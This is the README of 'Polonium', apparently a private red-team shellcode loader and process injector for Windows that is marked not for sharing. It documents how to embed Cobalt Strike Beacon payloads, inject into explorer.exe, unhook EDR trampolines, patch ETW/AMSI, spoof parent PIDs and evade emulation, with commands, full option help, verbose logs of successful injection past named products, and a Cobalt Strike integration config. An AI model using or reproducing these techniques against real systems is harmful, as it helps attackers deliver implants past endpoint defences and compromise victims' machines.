# Polonium

Polonium - an extremely dangerous to humans radioactive metal. Discovered in 1898 by a polish chemist, a first woman to earn Nobel Prize and still the only one to accomplish that twice - Maria Sklodowska-Curie. 

**Not to be published, nor shared. Strictly for in-house usage.**

## Purpose

Windows process injection test-bench and an advanced shellcode-loader.
Aims to map out AVs/EDRs detection surface to identify their gaps.

Takes a plain, raw shellcode at it's input - and passes execution to it/injects it to the remote process. Think Raw Beacon, sRDI, RDI payloads. RunPE support planned.

Highly PoC, don't expect high quality code at the moment.

*Inherently unstable just as unstable process injection can be.*


## Features

The loader operates in two fashions:
- as a self-loader - simply jumping to the provided shellcode
- or as an injector - either spawning own child process and infecting it or opening and injecting to the remote process. 

Both approaches have been tested. From my personal experiences, the `loader` approach will typically stay under the radar in more occassions, whereas injecting to remote processes can coerce behavioral detections or denials, disrupting payload's staging.

The Polonium offers/comes with:

- Based mostly on low-level NT API
- Leverages custom unhooking imports resolver. Peels off any IAT/EAT/trampoline hooks that EDR can apply.
- Implements various allocation/write/execution techniques in varying combinations
- Applies some minor off-the-shelf evasions, such as Get-InjectedThread evasion, ETW/AMSI patching,
- Tasty Anti's included (dumping|splicing|sandbox|emulation), more to come: debug, vm, disasm
- Payload encryption/encoding & compression support
- Fragmented shellcode writing with delay between consecutive writes
- Payload can be fetched from overlay, PE section, command line, as a hardcoded buffer (preferred approach)
- environmental keying logic deciding whether to launch the payload

There is a lot more work needed. From what's planned to come:
- more/better anti-(debug|vm|sandbox|emulation) capabilities
- support for full code obfuscation (ADVfuscator provides just that)
- Smoothing behavioral anomalies presented by the loader to better blend in normal OS operations
- Better anti-emulation/anti-monitoring delays and more delay-injection decisions
- More robust imports resolver
- Support for Process Hollowing(RunPE)/Module Stomping, currently only plain shellcodes supported.
- Add support for Process Reimaging, research feasibility of adding Process Doppelganging

Currently battle-tested on:
- Symantec Endpoint Protection
- FireEye HX
- Windows Defender
- McAfee 
- CrowdStrike Falcon

## Compilation

- Visual Studio needed. No other requirements.

The Debug compilation will produce a big, unobfuscated binary.

On the other hand, the Release compilation typically takes 15-20 minutes to complete and will leverage ADVfuscator to produce a string-obfuscated binary, further passed to the `upx.exe` for size minimisation (that shouldn't impact detection results).

If you want to have your shellcode embedded in the binary, the use of `apply_polon_shellcode.py` would be recommended as a pre-requisite before compiling the loader.

Finally, the solution comes with `Release-nostrings-nocui` compilation profile as well. This profile should produce a release binary, completely stripped of any strings and in a Windows GUI subsystem. That will avoid to create a windows Console (conhost.exe) and will greatly reduce artefact's size.


## Quick usage example

**Step 1**: Generate your own payload in a RAW form (Beacon RAW, sRDI, RDI, msfvenom -f raw).

**Step 2**: Use the provided `apply_polon_shellcode.py` script:

```
    :: Polonium's shellcode embedding utility
    Mariusz Banach / mgeeky, '19-'22
    v0.7

usage: apply_polon_shellcode.py [options]

optional arguments:
  -h, --help            show this help message and exit
  --x86 FILE            Input shellcode targeted for x86 architectures.
  --x64 FILE            Input shellcode targeted for x64 architectures
  -p PARAMS, --parameters PARAMS
                        Specifies default program launch parameters in case the resulting artefact file was launched with no command line. Default: "-s 1"
  -l FILE, --logfile FILE
                        Redirect this script's output to specified logfile.
  -o FILE, --output FILE
                        Output file for encrypted shellcode or input EXE with overlay attached. Default: stdout
  -f {raw,overlay,encraw,section,header}, --format {raw,overlay,encraw,section,header}
                        Output format for generated shellcode. Can be: "raw" (just a raw binary blob), "header" (payload.h file), "overlay" (packs encoding key, algo and parameters to one blob and appends it
                        to the EXE file's overlay if --exe parameter specified. Otherwise just outputs it), "section" (the same as overlay, except it stores encoded payload to the additional PE section),
                        "encraw" (encoded shellcode prepended with Polonium parameters structure). Default: header
  -k KEY, --key KEY     (Optional) Encryption key. 1 byte for xor8, 4 bytes for xor32. If not given, will use a random one
  -E EXE, --exe EXE     (Optional) Specifies to which file's structures append the payload when --format overlay/section was given.
  -e {none,xor8,xor32,rc4}, --algo {none,xor8,xor32,rc4}
                        (Optional) Encryption algorithm to use. One of the: none, xor8, xor32. If "none" given, the shellcode will not be encrypted. Default: xor32
  -c {none,lznt1}, --compress {none,lznt1}
                        (Optional) Payload compression algorithm to use. One of the: none, lznt1. If "none" given, the shellcode will not be compressed. Default: lznt1
```

In order to:

a) have it generate output binary in a form of preformatted header file:

```
cmd> cd polon-project-directory
cmd> python apply_polon_shellcode.py --x64 beacon.raw -o payload.h
cmd> compile-your-polon-using-cl
```

b) have your payload appended to the binary's overlay (mind you can have only one payload appended: x86 or x64):

```
cmd> python apply_polon_shellcode.py --x64 beacon.raw -f overlay -E polon.exe
```

c) just use it to encrypt the payload and output it as is, for later command-line input

```
cmd> python apply_polon_shellcode.py --x64 beacon.raw -f raw -o xored-payload.bin
```

The encryption/encoding algorithm and it's key is a subject for modification, as offered by the script's parameters.

**Step 3**: Launch the Polonium loader - multiple various techniques and modifiers applies, a simple example can include:

```
cmd> polonium.exe -s 3 -i explorer -a -v
```

That will use the technique 3 (NtAlloc+NtWrite+NtSetContext) to inject into running explorer process, with all evasion enabled. Verbose output is to be expected.

The runtime parameters can be also hardcoded during compilation time. Having them stored in `HARDCODED_PROGRAM_PARAMETERS` will let the Polonium fetch them during program's parameters processing stage. 

**polon.cpp**:
```
////////////////////////////////////////////////
//
// You can specify here a hardcoded program's command line.
//
const std::wstring HARDCODED_PROGRAM_PARAMETERS = OBFI(

    L""

);

////////////////////////////////////////////////
```


## Sample use case

Imagine we want to inject to the explorer in OS that is covered with SEP+HX+Falcon stack. Initial attempt could result with STATUS_ACCESS_DENIED:


```
cmd> polonium-beacon.exe -v -s 2 -i explorer

   +--------------------------------------------------------------------+
   | :: Polonium - an extremely dangerous to humans radioactive metal.  |
   |      __       Discovered in 1898 by a polish chemist, a first woman|
   |      |_|      to earn Nobel Prize and still the only one to        |
   |    84|  []    accomplish that twice - Maria Sklodowska-Curie.      |
   |                                                                    | 
   | This tool is a tribute to Maria's ingenuity and sacrifice for the  |
   | scientific research she conducted. A term of radioactivity which   |
   | she coined - costed her life, today saving millions of others.     |
   +--------------------------------------------------------------------+

   Windows process injection test-bench and an advanced shellcode-loader.
   Aims to map out AVs/EDRs detection surface to identify their gaps.

   Mariusz Banach / mgeeky, '19-22         [ver 0.7.3]
   <mb@binary-offensive.com>

[+] Will inject into running process: (explorer.exe) with PID = 15860
[.] Page protection flags to use: PAGE_EXECUTE_READ
[~] Resolved symbol ntdll.dll!NtQueryInformationProcess
[~] Resolved symbol ntdll.dll!NtReadVirtualMemory
[~] Resolved symbol ntdll.dll!NtProtectVirtualMemory
[.] Faked command line buffer at: 0x385d9ae6e0
[+] Truncating process arguments' pointer so that only image module path is retrieveable.
[+] Spoofed process arguments.
[.] Injection strategy: 2
[.] Using hardcoded payload.
[.] Decrypting the payload...
[.] Payload decrypted properly.
[.] Payload location: 0x7ff71acda050
[~] Resolved symbol ntdll.dll!NtOpenProcess
[~] Resolved symbol kernel32.dll!OpenThread
[~] Resolved symbol kernel32.dll!Thread32First
[~] Resolved symbol kernel32.dll!Thread32Next
[~] Resolved symbol ntdll.dll!NtAllocateVirtualMemory
[!] Allocation with NtAllocateVirtualMemory failed with: 0xc0000022
[!] Step 1 failed: Could not allocate memory. Error: 2
```


Such a denial could be explained by an intervetion of HIPS kernel module coming from SEP or HX, that did not recognise requesting allocation process. By following several subtle maneuvers such as delayed execution, parent PID spoofing - we can abuse decision logic taken and repeat the request on that ground. My tests showed, that in most cases we'll be able to become granted with such an allocation after applying aforementioned evasions:

```
cmd> polonium-beacon.exe -v -s 2 -i explorer -a

   +--------------------------------------------------------------------+
   | :: Polonium - an extremely dangerous to humans radioactive metal.  |
   |      __       Discovered in 1898 by a polish chemist, a first woman|
   |      |_|      to earn Nobel Prize and still the only one to        |
   |    84|  []    accomplish that twice - Maria Sklodowska-Curie.      |
   |                                                                    | 
   | This tool is a tribute to Maria's ingenuity and sacrifice for the  |
   | scientific research she conducted. A term of radioactivity which   |
   | she coined - costed her life, today saving millions of others.     |
   +--------------------------------------------------------------------+

   Windows process injection test-bench and an advanced shellcode-loader.
   Aims to map out AVs/EDRs detection surface to identify their gaps.

   Mariusz Banach / mgeeky, '19-22         [ver 0.7.3]
   <mb@binary-offensive.com>

[+] Will inject into running process: (explorer.exe) with PID = 15860
[.] Will set explorer.exe with PID: 15860 as parent.
[.] Page protection flags to use: PAGE_EXECUTE_READ
[~] Resolved symbol kernel32!ReadProcessMemory
[~] Resolved symbol kernel32!MapViewOfFile
[~] Resolved symbol kernel32!VirtualProtectEx
[~] Resolved symbol ntdll.dll!NtQueryInformationProcess
[#] Found trampoline hook in symbol: NtReadVirtualMemory . Restored original bytes from file.
[~] Resolved symbol ntdll.dll!NtReadVirtualMemory
[#] Found trampoline hook in symbol: NtProtectVirtualMemory . Restored original bytes from file.
[~] Resolved symbol ntdll.dll!NtProtectVirtualMemory
[.] Faked command line buffer at: 0x92c450e5a0
[+] Truncating process arguments' pointer so that only image module path is retrieveable.
[+] Spoofed process arguments.
[.] Injection strategy: 2
[.] Delay: Offer you have to refuse.
[#] Found trampoline hook in symbol: NtAllocateVirtualMemory . Restored original bytes from file.
[~] Resolved symbol ntdll.dll!NtAllocateVirtualMemory
[~] Resolved symbol kernel32.dll!VirtualFreeEx
[.] Delay: Millions increments.
[.] Delay: Senseless AES256 encryptions/decryptions. Looping 100000 rounds, may take roughly 8 seconds...
[>] Elapsed: 4344 milliseconds.
[.] Delay: Classic delay strategy. Waiting 5 seconds.
[>] Elapsed: 4988 milliseconds.
[.] Doing some anti-emulation magic...
[~] Resolved symbol kernel32.dll!OpenProcess
[~] Resolved symbol kernel32.dll!VirtualAllocExNuma
[.] Using hardcoded payload.
[.] Expected delay factor: 5, elapsed delay factor: 5
[.] Decrypting the payload...
[.] Payload decrypted properly.
[.] Payload location: 0x7ff71acda050
[.] Step 1: Allocated 933 bytes in remote process memory using NtAllocateVirtualMemory: 0x0000000002440000
[#] Found trampoline hook in symbol: NtWriteVirtualMemory . Restored original bytes from file.
[~] Resolved symbol ntdll.dll!NtWriteVirtualMemory
[.] Step 2: Written 933 bytes of shellcode to the remote process memory
[.] Step 3: Shellcode execution via Create(Remote)Thread. Fingers crossed!
[+] Create remote thread via ZwCreateThreadEx at 0x0000000002440000
[~] Resolved symbol ntdll.dll!ZwCreateThreadEx
[.] Creating a remote thread with the BaseAddress = ntdll!RtlUserThreadStart+0x21
[.] Resetting that remote thread's start address to our expected IP = 0x0000000002440000
[+] Executing code from 0x0000000002440000 using NtSetContextThread
[#] Found trampoline hook in symbol: NtSetContextThread . Restored original bytes from file.
[~] Resolved symbol ntdll.dll!NtSetContextThread
[#] Found trampoline hook in symbol: NtGetContextThread . Restored original bytes from file.
[~] Resolved symbol ntdll.dll!NtGetContextThread
[#] Found trampoline hook in symbol: NtResumeThread . Restored original bytes from file.
[~] Resolved symbol ntdll.dll!NtResumeThread
[.] Running post-execute actions...
[=] Will wait inifinitely for the spawned shellcode to finish it's execution
```

## Integration with Cobalt Strike

There is also a rich integration with Cobalt Strike available as soon as we load `scripts/aggressive-polonium.cna`. 

![aggressor](img/cna-script.png)

To then use it, simply follow `Attack` menu entries available:

![attacks](img/attacks.png)

Before we do that however, it might be necessary to adjust related options in `scripts/aggressive-polonium-config.conf`:

```
#
# Global paths
#

polon.path.python             = C:\Windows\py.exe

polon.path.default.output.dir = d:\dev2\polonium\tests\
polon.path.script             = d:\dev2\polonium\scripts\apply_polon_shellcode.py

#polon.path.template.exe.x64   = d:\dev2\polonium\bin\x64\Release\polon-upx.exe
polon.path.template.exe.x64   = d:\dev2\polonium\bin\x64\Release\polon.exe
polon.path.template.dll.x64   = d:\dev2\polonium\bin\x64\Release-DLL\polon.dll
#polon.path.template.exe.x86   = d:\dev2\polonium\bin\Win32\Release\polon-upx.exe
polon.path.template.exe.x86   = d:\dev2\polonium\bin\Win32\Release\polon-upx.exe
polon.path.template.dll.x86   = d:\dev2\polonium\bin\Win32\Release-DLL\polon-upx.dll

#
# Defaults for Polonium generation dialog
#


polon.defaults.ev_blockdlls = true
polon.defaults.listener = 2-https-gso-vpn
polon.defaults.env_internet = false
polon.defaults.nocmdline = false
polon.defaults.injecttarget = ""
polon.defaults.page_protection = PAGE_EXECUTE_READWRITE
polon.defaults.ev_antisplicing = true
polon.defaults.ev_all = false
polon.defaults.antiemulation = "1. Basic"
polon.defaults.env_domain = ""
polon.defaults.outpath = ""
polon.defaults.logfile = %TEMP%\polonium.log
polon.defaults.format = dll
polon.defaults.params = "-p explorer"
polon.defaults.spawntarget = ""
polon.defaults.embed_mode = "PE Section"
polon.defaults.delay = ""
polon.defaults.killdate = ""
polon.defaults.env_domainjoined = false
polon.defaults.ev_patching = true
polon.defaults.output_mode = verbose
polon.defaults.generate_what = beacon
polon.defaults.arch = x64
polon.defaults.custom_payload = 
polon.defaults.strategy = "1. (DEFAULT) Alloc RX buffer w/ VirtualAlloc and jump into shellcode"
polon.defaults.fallback = false
```

## Usage

Here comes the help message:

```

cmd> polonium.exe -h

   +---------------------------------------------------------------------+
   | :: Polonium - an extremely dangerous to humans radioactive metal.   |
   |      __       Discovered in 1898 by a polish chemist, a first woman |
   |      |_|      to earn Nobel Prize and still the only one to         |
   |    84| []     accomplish that twice - Maria Sklodowska-Curie.       |
   |                                                                     |
   | This tool is a tribute to Maria's ingenuity and sacrifice for the   |
   | scientific research she conducted. A term of radioactivity which    |
   | she coined - costed her life, today saving millions of others.      |
   +---------------------------------------------------------------------+

   Windows process injection test-bench and advanced shellcode-loader.
   Aims to map viable AV/EDR evasions and safely deliver your payload.

   Mariusz Banach / mgeeky, '20-'22       [ver 0.7.3]
   <mb@binary-offensive.com>

[.] Polonium started: Mariusz@MBASE-DESKTOP [2022-05-27, 22:17:31] - PID: 32572

   Usage: polonium [options]

Main options:
    -Z                  Don't process arguments from command line, trust only embedded ones (section/overlay/retrieved)
                        This option should be used embeded into Polon during generation or compilation in payload.h
    -q                  Be quiet. No output.
    -v                  Enables verbose output.
    -l <logfile>        Redirect output to given log file. Stdout by default (or when '-' used).

    -L                  Lists running processes and exits. If combined with "-v" will return
                        more detailed information such as if the process has any alertable thread (RISKY!)

    -X <date>           Kill date. Do not run if past this date. [YYYY-MM-DD]

    -f <file>           Specifies a file path or HTTP(S) URL to the shellcode. If not given,
                        will use hardcoded shellcode in `PayloadBytes` array. Can be also:
                            "a" - Retrieve shellcode from executable's overlay
                            "b" - Retrieve shellcode from additional PE section
                        Input file will not be checked for the encryption marker 0xDEADBEEF as
                        opposed to the embedded one, which must end like so.

    -F                  If specified in -s <strategy> injection fails, fallback to another one. If original
                        strategy targeted remote process injection, will try some other ones and if they all
                        fail, falls back to self-injection thus acting as a loader: X -> 9 > 5 > 6 > 2 > 1.
                        Respects what was given in (-i) option: if you insist on targeting e.g. explorer, will
                        try over and over. IT IS SAFER to use '-F' in combination with '-i auto'.

Process Injection and Payload execution:

    -s <strategy>       Specifies which injection strategy to follow.
                        Currently implemented:

        +-------------------------------------------------------
        | SELF ONLY INJECTIONS:
        |       0 - Change buffer's page prot to RX and jump into shellcode
        |
        |       1 - (Default) Alloc RX buffer w/ VirtualAlloc and jump into shellcode. Preferred safest choice.
        |
        | SELF/REMOTE PROCESS INJECTIONS:
        |       2 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + ZwCreateThreadEx
        |           Self: VirtualAlloc(RX) + CreateThread
        |
        |       3 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + NtSetContextThread
        |           Self: VirtualAlloc(RX) + NtSetContextThread
        |
        |       4 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + NtQueueApcThreadEx
        |           Self: VirtualAlloc(RX) + NtQueueApcThreadEx
        |
        |       5 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + RtlCreateUserThread
        |           Self: VirtualAlloc(RX) + RtlCreateUserThread
        |
        |       6 - Remote: ZwCreateSection + NtMapViewOfSection(RX) + ZwCreateThreadEx
        |           Self: ZwCreateSection + NtMapViewOfSection(RX) + CreateThread
        |
        |       7 - Self/Remote: ZwCreateSection + NtMapViewOfSection(RX) + NtSetContextThread
        |
        |       8 - Self/Remote: ZwCreateSection + NtMapViewOfSection(RX) + NtQueueApcThread
        |
        |       9 - Self/Remote: ZwCreateSection + NtMapViewOfSection(RX) + RtlCreateUserThread
        |
        | REMOTE ONLY - UNSTABLE/UNRELIABLE ONES:
        |      10 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + ZwCreateThreadEx
        |
        |      11 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + NtSetContextThread
        |
        |      12 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + NtQueueApcThreadEx
        |
        |      13 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + RtlCreateUserThread
        |
        |      14 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + PROPagate
        |
        |      15 - Remote: NtAllocateVirtualMemory + NtWriteVirtualMemory + PROPagate
        |
        |      16 - Remote: ZwCreateSection + NtMapViewOfSection(RX) + PROPagate
        |
        | PE INJECTIONS:
        |      17 - Remote: Overwrites target's entry point bytes with the shellcode
        |           (NtAllocateVirtualMemory + NtWriteVirtualMemory). Kills target.
        |
        |      18 - Remote: Allocates arbitrary RX page with shellcode, inserts JMP at the OEP
        |           pointing to that page. (NtAllocateVirtualMemory + NtWriteVirtualMemory). Kills target.
        |
        +-------------------------------------------------------

                    Footnotes:
                        a) SELF INJECTION techniques works by having the PE image
                           responsible to invoke given shellcode either in it's own
                           virtual memory space, or in a spawned child process,
                           as specified in "-i".

                        b) REMOTE PROCESS INJECTION techniques require to specify
                           "-i" or "-j" paremeters. The former for the target process
                           to inject into, the latter for target module as needed by
                           specific strategies (e.g. Module Stomping).

                        c) Techniques 13 and 14 follow the PROPagate code execution scheme.
                           By default they target explorer.exe and any of it's exposed props.
                           WARNING: They may crash the target!
                           Implementation based on magnificent work of https://github.com/odzhan
                           Use his `enumprop.exe` to find other candidate processes.

                        d) Atom Bombing is a term coined by Tal Liberman, entailing combined use of
                           GlobalGetAtomA and NtQueueApcThread to transfer payload's data into remote process
                           memory. From that point all execution techniques apply.

                        e) The PROPagate technique using Atom Bombing (14.) may be tricky to carry off.
                           This is because the process must have an alertable thread available, which
                           is a requirement for Atom Bombing and must export vulnerable known Window
                           Property, which is in turn the requirement for PROPagate. Use "-p auto" to let
                           the program find suitable target for it.

                        f) Techniques involving ZwCreateThreadEx or RtlCreateUserThread will set
                           the created thread's BaseAddress to ntdll!RtlUserThreadStart+0x21 and leave it suspended.
                           Then NtSetContextThread will change the thread's context to let it execute our payload.
                        g) Techniques based on NtSetContextThread are hijacking remote thread.
                           This may kill the remote process or corrupt it's execution.

    -P <protection>     Specifies alternative memory protection flag to be used during
                        allocation step. By default we go with PAGE_EXECUTE_READWRITE. Can be a hex value,
                        "RWX", "RX", or a set of comma separated literal constants: e.g. PAGE_FOO,PAGE_BAR.

    -i <imageName|PID>  Inject into running process based on it's image name or PID.
                        If not specified, either will target self process, thus acting as a PE loader,
                        or will inject into remote process of it's own PE executable.
                        Can be a valid PID number or "auto" - to let the program find suitable target.

    -j <path>           Chooses a target for suspended spawn and injection. Spawns self unless specified otherwise.
                        Will look for a target image in: %SystemRoot%, %SystemRoot%\\System32 with/without .exe

Payload decryption:

    -e <algo>           Payload encryption used. Can be: xor8, xor32. Default: No encryption.

    -k <key>            Decryption key to use. Must be: 8bits, 32bits. Default: no key.


    -C <compression>    Compression algorithm to use. Must be: lznt1. Default: no compression.

    -Y                  Don't bind payload decryption key with measured time elapsed during Delay evasion.
                        Will decrypt processed payload even if Delay returned prematurely, indicating Wait shortenings.

Evasion:
    -a                  Enables all evasions. Let the program decide about delay, use anti-splciing, set
                        parent as Explorer if possible, skips target process' PE wiping, sets anti-emulation to 1,
                        blocks unsigned DLLs, applies evasion patches. Will use Read/Write process memory APIs!

    -d <delay>          Introduces delay in seconds aiming to timeout AV emulators.
                        Delay can be <num> for seconds, or one of the following techniques

                        (they can be combined: -d abc ). Delay in form of <num> seconds can
                        prevent the shellcode from executing, other options such as a,b,c are
                        not preventing execution. They are just to introduce a delay.
                             "a" - Offer you have to refuse. Enormous allocation.
                             "b" - Estimates PI around 256 millions of times.
                             "c" - Performs 30000 senseless AES256 encryptions & decryptions

    -p <PID|process>    Enables Parent PID spoofing. As a parameter, use either
                        PID or process name (explorer, explorer.exe). Use "auto" to
                        let the program pick "explorer.exe" or find another target

    -c <cmdline>        Enables process' command line spoofing. Parameter's value
                        will be used as a process' command line filler.
                        The tool will attempt to truncate it's cmdline anyway. (uses Read/Write process memory APIs!)

    -w                  Wipes PE headers associated with surrogate process' or these own ones,
                        as well as attempts various other anti-dumping evasions.
                             -w         Resorts to wiping PE headers only
                             -w -w      Aggressively annihilates own child's (self) process memory.
                                        This may crash the target, as it nukes the process' memory completely by leaving
                                        only crumbs of the needed code in place. Only works in strategies 0 and 1. Hazardous!

    -S <chunk>          Fragment shellcode into chunks of size <chunk> bytes in write fragments in randomized order.
                        Attempts to evade shellcode-write monitoring sensors. May be specified in hex, e.g. 0x1000.
                        With "-a" will fragment onto 4096 bytes long chunks. Works only with techniques based on NtWriteVirtualMemory.

    -D <delay>          Delay (in ms) between writing subsequent shellcode chunks (used when -S <chunk> was given). Default: 0.
                        Values similar to "-d" switch.

    -b                  Enables Signature enforcement and block dynamic code mitigation
                        policies on a self process (only) after executing the shellcode.
                        This will make the loader's process protected while waiting for the
                        shellcode to finish it's actions. WARNING: This may interfere with
                        the shellcode itself! Test it before running on prod.

    -r                  Attempts anti-splicing maneuvers to regain resolved imports
                        integrity. Will try to un-hook used imports.

    -x                  Enables anti-emulation tricks. Repeat for greater effect.
                             -x         Basic anti-emulation tests. Should pass on VMs, with no user interaction
                             -x -x      More thorough tests, will rule out VMs and run only if mild user activity is detected
                             -x -x -x   All tests. Will run only on legitimate, frequently used workstations

    -K <method>[,<param>]
                        Turns on environmental keying type of checks, allowing launcher to
                        execute the payload only when these sanity checks are satisfied. Can be repeated.
                        Methods supported (comma acts as a parameters separator):
                            1) Checks whether target machine is domain-joined:
                                    -K domainjoined

                            2) Checks if target machine is joined to one of specified domains
                               (DNS FQDN, case insensitive, wildcards accepted ?, *):
                                    -K domain,domain1.local[,domain2.local,...]

                            3) Validates network connectivity by specifying HTTP(S) URL to fetch and optionally
                               applies given regular expression on the response data to filter out honeypots.
                               If no parameters given (-K internet) will use built-in URL & Regex settings.
                                    -K internet,https://www.metaweather.com/api/location/44418/,air_pressure.+London

                            4) Validates public IPv4 address of the target machine:
                               applies given regular expression on the response data to filter out honeypots:
                                    -K ip,1.2.3.4

                            5) Validates current user name
                                    -K username,john.doe

    -g                  Apply domain-specific in-memory patches against optics such as ETW, AMSI and (in-future) other
                        pattern-based detections by loading corresponding modules and patching their code (CAUTION!).

    -H                  Patch ntdll!RtlpWow64CtxFromAmd64 with a trampoline and execute shellcode by pointing at this hook.
                        Introduces indirect shellcode execution primitive aiming to evade remote-threads scanning heuristics.
                        This parameter uses NtWriteVirtualMemory to apply hook.


    -t                  Enable Shellcode Fluctuation technique to Read+Write page

    -T                  Enable Shellcode Fluctuation technique to No Access page

    -u                  Enable Thread Stack Spoofing technique.

    -U                  Masquerade user agent string by overwriting Cobalt Strike beacon's configuration with the User Agent
                        extracted from the System's Chrome or Edge or Internet Explorer access. That option requires RedWarden or
                        other reverse-proxy in front of Teamserver to restore original User Agent string.

    -y                  Enable Heaps encryption. WARNING: This might cause crashes! May introduce in-memory IOCs.
```


## Known Bugs

- Technique 14 has its gotchas. Need to work them through under debugger.
- I've started experiencing crashes while calling out to WinAPI (such as _IsWow64Process_), probably due to WinAPI-redirection (`api-ms-` and stubs thing, where above call gets redirected to `_IsWow64ProcessStub@8` instead). Currently I have no clue how to fix it, will need more time to address that. Sorry for the inconvenience!


---

### ☕ Show Support ☕

This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community,
[Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 

---

## Author

```   
   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky) 
```
